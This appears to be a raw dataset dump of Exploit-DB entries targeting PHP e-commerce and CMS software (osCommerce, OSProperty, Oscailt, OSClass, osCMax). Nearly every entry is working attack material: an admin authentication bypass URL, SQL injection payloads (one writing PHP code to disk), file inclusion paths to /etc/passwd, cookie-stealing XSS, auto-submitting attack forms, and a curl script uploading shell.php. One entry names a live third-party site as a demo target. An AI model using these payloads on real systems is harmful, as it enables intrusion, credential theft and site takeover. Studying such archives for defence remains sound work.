deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10096
Description: OS Commerce 2.2r2 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-11-13
Author: Stuart Udall

Exploit:
When this hole was brought to our attention, we were amazed to find that it seems nobody has caught it yet!! There is a page in the admin that can be access without login AND can pass parameters!!

/admin/mail.php/login.php
/admin/mail.php/login.php?fooled
/admin/mail.php/login.php?action=send_email_to_user

All work! 

We "patched" this hole by adding this line of code: 

if(strstr($_SERVER['REQUEST_URI'], "/admin/mail.php/login.php" ) !== false){
        echo "<h1>NO ACCESS</h1>";
        exit;
}


Go fix your carts!!!!
Exploit-DB #36862
Description: OS Solution OSProperty 2.8.0 - SQL Injection
Type: webapps
Platform: php
Date: 2015-04-29
Author: Brandon Perry

Exploit:
OS Solution OSProperty 2.8.0 was vulnerable to an unauthenticated SQL
injection in the country_id parameter of the request made to retrieve a
list of states for a given country. The version was not bumped when the
vulnerability was fixed, but if you download after April 27th, you
downloaded a fixed version.

http://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/os-property

http://joomdonation.com/joomla-extensions/os-property-joomla-real-estate.html

Example URL:

http://172.31.16.51/index.php?option=com_osproperty&no_html=1&tmpl=component&task=ajax_loadStateInListPage&country_id=31


Parameter: country_id (GET)

   Type: UNION query

   Title: MySQL UNION query (NULL) - 2 columns

   Payload:
option=com_osproperty&no_html=1&tmpl=component&task=ajax_loadStateInListPage&country_id=31'
UNION ALL SELECT
NULL,CONCAT(0x716a627171,0x797774584a4b4954714d,0x[PII_REDACTED])#



-- 
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website
Exploit-DB #9922
Description: Oscailt CMS 3.3 - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-10-28
Author: s4r4d0

Exploit:
[0] Oscailt 3.3 CMS 
[0] Download: http://sourceforge.net/projects/oscailt/
[0] Bug: Local File Inclusion in index.php file !
[0] Author: s4r4d0@yahoo.com
[0] Team: Fatal Error
[0] Poc: http://www.site.com/index.php?obj_id=/../../../../../../../../../../proc/self/environ%00
[0] DEMO:http://imemc.org/index.php?obj_id=/../../../../../../../../../../proc/self/environ%00
[0] Greetz: Elemento_pcx - z4i0n - m4v3rick - HADES - Hualdo - Derf - DD3str0y3r - Obz !!!
[0] Made in Brazil - SP
[0] Source Code: 
# SecurityReason Note :
#
# The option "Use Friendly URL's" in configuration must be set off
#
# Vulnerable Code in index.php :
#
# $target_indyobject_id = getRequestTargetObjectID();
# ...
# if(!$use_live)
# {
#   $cachefile = getObjectCacheIndexFile($target_indyobject_id);
#   if(file_exists($cachefile))
#   {
#      include_once($cachefile);
#   }
#
# in function getObjectCacheIndexFile() we have ...
#
# function getObjectCacheIndexFile($id)
# {
#   $dir = getObjectCacheDir($id);
#   $f = $id.'.inc';
#   return $dir.$f;
# }
# 
# As we can see , $cachefile try include inc file in cache dir.
#
# magic_quotes = Off // to use %00 null byte
#
# - sp3x
#

[0]Reference: http://securityreason.com/exploitalert/7422
Exploit-DB #36626
Description: OSClass 2.3.3 - 'index.php?getParam()' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-01-25
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/51662/info
 
OSClass is prone to SQL-injection and cross-site scripting vulnerabilities.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
OSClass 2.3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=search&sCity=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/scrip t%3E

http://www.example.com/index.php?page=search&sPattern=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E

http://www.example.com/index.php?page=search&sPriceMax=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E

http://www.example.com/index.php?page=search&sPriceMin=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E
Exploit-DB #36625
Description: OSClass 2.3.3 - 'index.php?sCategory' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-25
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/51662/info

OSClass is prone to SQL-injection and cross-site scripting vulnerabilities.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OSClass 2.3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=search&sCategory[]=0%27%20OR%20%28SELECT%20MID%28version%28%29,1,1% 29%29=5%29%20d%20--%202
Exploit-DB #36917
Description: OSClass 2.3.x - Directory Traversal / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-03-07
Author: Filippo Cavallarin

Exploit:
source: https://www.securityfocus.com/bid/52336/info

OSClass is prone to a directory-traversal vulnerability and an arbitrary-file-upload vulnerability.

An attacker can exploit these issues to obtain sensitive information and to upload arbitrary code and run it in the context of the webserver process.

OSClass 2.3.5 is vulnerable; prior versions may also be affected. 

Arbitrary File Upload Vulnerability:

1. Take a php file and rename it .gif (not really needed since OSClass trusts mime type)

2. Upload that file as picture for a new item and get its name (is 5_small.jpg)

3. Change useragent of your browser to: "Mozilla/4.0 (compatible; MSIE 5.0" . (needed to disable gzip encoding in combine.php)

4. Use combine.php to move itself to oc-content/uploads
http://www.example.com/osclass/oc-content/themes/modern/combine.php?type=./../../uploads/combine.php&files=combine.php
now we have a copy of combine.php placed into uploads dir (the same dir where our malicius php file has been uploaded)

5. Use uploads/combine.php to move 5_original.php to /remote.php
http://www.example.com/osclass/oc-content/uploads/combine.php?files=5_original.jpg&type=/../../remote.php


6. Run the uploaded php file
http://www.example.com/osclass/remote.php




Directory Traversal Vulnerability: 

It is possible to download and arbitrary file (ie config.php) under the www root.

1. Change useragent of your browser to: "Mozilla/4.0 (compatible; MSIE 5.0" . (needed to disable gzip encoding)

2. Move combine.php into web root
http://www.example.com/osclass/oc-content/themes/modern/combine.php?type=./../../../combine.php&files=combine.php

3. Run combine to download config.php
http://www.example.com/osclass/combine.php?files=config.php
Exploit-DB #34763
Description: OSClass 3.4.1 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2014-09-25
Author: Netsparker

Exploit:
Information
-----------
Advisory by Netsparker.
Name : LFI Vulnerability in OsClass
Affected Software : OsClass
Affected Versions: 3.4.1 and possibly below
Vendor Homepage : http://osclass.org/
Vulnerability Type : Local File Inclusion
Severity : Critical
CVE-ID: CVE-2014-6308
Netsparker Advisory Reference : NS-14-031

Advisory URL
------------
https://www.netsparker.com/lfi-vulnerability-in-osclass/

Description
-----------
Local file inclusion vulnerability where discovered in Osclass, an
open source project that allows you to create a classifieds sites.

Technical Details
-----------------
Proof of Concept URL for LFI in OsClass:

http://example.com/osclass/oc-admin/index.php?page=appearance&action=render&file=../../../../../../../../../../etc/passwd

Advisory Timeline
-----------------
03/09/2014 - First Contact
03/09/2014 - Vulnerability fixed:
https://github.com/osclass/Osclass/commit/c163bf5910d0d36424d7fc678da6b03a0e443435
15/09/2014 - Fix released publicly in Osclass 3.4.2

Credits & Authors
-----------------
These issues have been discovered by Omar Kurt while testing
Netsparker Web Application Security Scanner.

About Netsparker
----------------
Netsparker can find and report security issues and vulnerabilities
such as SQL Injection and Cross-site Scripting (XSS) in all websites
and web applications regardless of the platform and the technology
they are built on. Netsparker's unique detection and exploitation
techniques allows it to be dead accurate in reporting hence it's the
first and the only False Positive Free web application security
scanner. For more information on Netsparker visit
https://www.netsparker.com.
Exploit-DB #38875
Description: osCMax - Arbitrary File Upload / Full Path Information Disclosure
Type: webapps
Platform: php
Date: 2013-12-09
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/64307/info

osCMax is prone to an arbitrary file-upload vulnerability and an information-disclosure vulnerability .

Attackers can exploit these issues to obtain sensitive information and upload arbitrary files. This may aid in other attacks.

osCMax 2.5.3 is vulnerable; other versions may also be affected. 

<?php
#-----------------------------------------------------------------------------
$headers = array("Content-Type: application/octet-stream",
"Content-Disposition: form-data; name=\"Filedata\"; filename=\"shell.php\"");
#-----------------------------------------------------------------------------
$shell="<?php phpinfo(); ?>"; # U'r Sh3lL h3re !
$path ="/temp/"; # Sh3lL Path 
#-----------------------------------------------------------------------------
$ch = curl_init("http://www.example.com//oxmax/admin/includes/javascript/ckeditor/filemanager/swfupload/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 
  array('Filedata'=>"@$shell",
        'uploadpath'=>"@$path"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
#-----------------------------------------------------------------------------
?>
Exploit-DB #34176
Description: osCMax 2.0 - 'articles.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-21
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/40998/info

osCmax is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

osCMax 2.0.25 is vulnerable; other versions may also be affected.

<form action="http://www.example.com/admin/articles.php?tPath=1&aID=1&action=update_article" method="post" name="main" enctype="multipart/form-data" >
<input type="hidden" name="articles_status" value="1" />
<input type="hidden" name="articles_date_available" value="2010-06-04" />
<input type="hidden" name="authors_id" value="" />
<input type="hidden" name="articles_date_added" value="2010-06-04 00:00:00" />
<input type="hidden" name="x" value="1" />
<input type="hidden" name="y" value="2" />

<input type="hidden" name="articles_name[1]" value="article name" />
<input type="hidden" name="articles_description[1]" value='content"><script>alert(document.cookie)</script>' />
<input type="hidden" name="articles_url[1]" value="" />
<input type="hidden" name="articles_head_title_tag[1]" value="article title" />
<input type="hidden" name="articles_head_desc_tag[1]" value="" />
<input type="hidden" name="articles_head_keywords_tag[1]" value="" />

<input type="hidden" name="articles_name[2]" value="article name" />
<input type="hidden" name="articles_description[2]" value='content"><script>alert(document.cookie)</script>' />
<input type="hidden" name="articles_url[2]" value="" />
<input type="hidden" name="articles_head_title_tag[2]" value="article title" />
<input type="hidden" name="articles_head_desc_tag[2]" value="" />
<input type="hidden" name="articles_head_keywords_tag[2]" value="" />

<input type="hidden" name="articles_name[3]" value="article name" />
<input type="hidden" name="articles_description[3]" value='content"><script>alert(document.cookie)</script>' />
<input type="hidden" name="articles_url[3]" value="" />
<input type="hidden" name="articles_head_title_tag[3]" value="article title" />
<input type="hidden" name="articles_head_desc_tag[3]" value="" />
<input type="hidden" name="articles_head_keywords_tag[3]" value="" />

<input type="hidden" name="x" value="3" />
<input type="hidden" name="y" value="4" />

</form>
<script>
document.main.submit();
</script>
Exploit-DB #11771
Description: osCMax 2.0 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-03-16
Author: ITSecTeam

Exploit:
##############################################################################
#Title:             osCMax 2.0 (fckeditor) Remote File Upload                #
#Vendor:            http://www.oscdox.com                                    #
#Dork:              "Powered by osCMax v2.0" , "Copyright @" "RahnemaCo.com" #
##############################################################################
#AUTHOR:            ITSecTeam                                                #
#Email:             Bug@ITSecTeam.com                                        #
#Website:           http://www.itsecteam.com                                 #
#Forum :            http://forum.ITSecTeam.com                               #
#Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability20.htm #
#Thanks:            r3dm0v3, limpizik_neo                                    #
##############################################################################

#DESCRIPTION (by vendor):#####################################################
osCMax v2.0 is a powerful e-commerce/shopping cart web application. There are many advantages to using osCMax as your 
e-commerce/shopping cart for your web site. It has all the features needed to run a successful internet store and can 
be customized to whatever configuration you need.
osCMax v2.0 is based on osCommerce 2.2 RC2a.


#BUG:#########################################################################
file FCKeditor/editor/filemanager/browser/default/connectors/php/config.php:
 25: $Config['AllowedExtensions']['File']	= array() ;
 26: $Config['DeniedExtensions']['File']	= array('php','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','dll','reg') ;

It is still to upload files with some dangerous extensions like php3 !


#EXPLOIT:####################################################################
http://site.com/path_to_oSCMax/FCKeditor/editor/filemanager/browser/default/connectors/test.html
Exploit-DB #37045
Description: osCMax 2.5 - '/admin/geo_zones.php?zID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-04-04
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52886/info
       
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
       
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
       
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/geo_zones.php?action=list&zID=%27%3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E
Exploit-DB #37039
Description: osCMax 2.5 - '/admin/htaccess.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-04-04
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52886/info
 
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/admin/htaccess.php" method="post" name="main" id="main">
<input type="hidden" name="sb_id" value='"><script>alert(1);</script>'>
<input type="hidden" name="sb_key" value='"><script>alert(2);</script>'>
<input type="hidden" name="gc_id" value='"><script>alert(3);</script>'>
<input type="hidden" name="gc_key" value='"><script>alert(4);</script>'>
<input type="hidden" name="path" value='"><script>alert(5);</script>'>
<input type="submit" name="submit" value="Send">
</form>
Exploit-DB #37044
Description: osCMax 2.5 - '/admin/information_manager.php?information_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-04-04
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52886/info
      
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
      
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
      
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/information_manager.php?information_action=Edit&information_id=%3Cscript%3Ea lert%28document.cookie%29;%3C/script%3E
Exploit-DB #37038
Description: osCMax 2.5 - '/admin/login.php?Username' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-04-04
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52886/info

osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/admin/login.php?action=process" method="post" name="main" id="main">
<input type="hidden" name="username" value="'<script>alert(document.cookie);</script>">
<input type="hidden" name="password" value="">
<input type="submit" name="submit" value="Send">
</form>
Exploit-DB #37047
Description: osCMax 2.5 - '/admin/login.php?Username' SQL Injection
Type: webapps
Platform: php
Date: 2012-04-04
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52886/info
         
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
         
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
         
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/admin/login.php?action=process" method="post" name="main" id="main">
<input type="hidden" name="username" value="',1,2,(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2)))) -- 2">
<input type="hidden" name="password" value="">
<input type="submit" name="submit" value="Send">
</form>
Exploit-DB #37046
Description: osCMax 2.5 - '/admin/new_attributes_include.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-04-04
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52886/info
        
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
        
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
        
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/new_attributes_include.php?pageTitle=%3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E
Exploit-DB #37043
Description: osCMax 2.5 - '/admin/stats_customers.php?sorted' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-04-04
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52886/info
     
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
     
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/stats_customers.php?sorted=%27%3Cscript%3Ealert%28document.cookie%29;%3C/script% 3E
Exploit-DB #37042
Description: osCMax 2.5 - '/admin/stats_monthly_sales.php?status' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-04-04
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52886/info
    
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
    
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
    
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/stats_monthly_sales.php?status=%27%3Cscript%3Ealert%28document.cookie%29;%3C/scr ipt%3E
Exploit-DB #37048
Description: osCMax 2.5 - '/admin/stats_monthly_sales.php?status' SQL Injection
Type: webapps
Platform: php
Date: 2012-04-04
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52886/info
          
osCMax is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
          
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
          
osCMax 2.5.0 is vulnerable; prior versions may also be affected. 

http://www.example.com/admin/stats_monthly_sales.php?status=0 union select '<? php_code ?>' INTO OUTFILE '../../../path/to/site/file.php'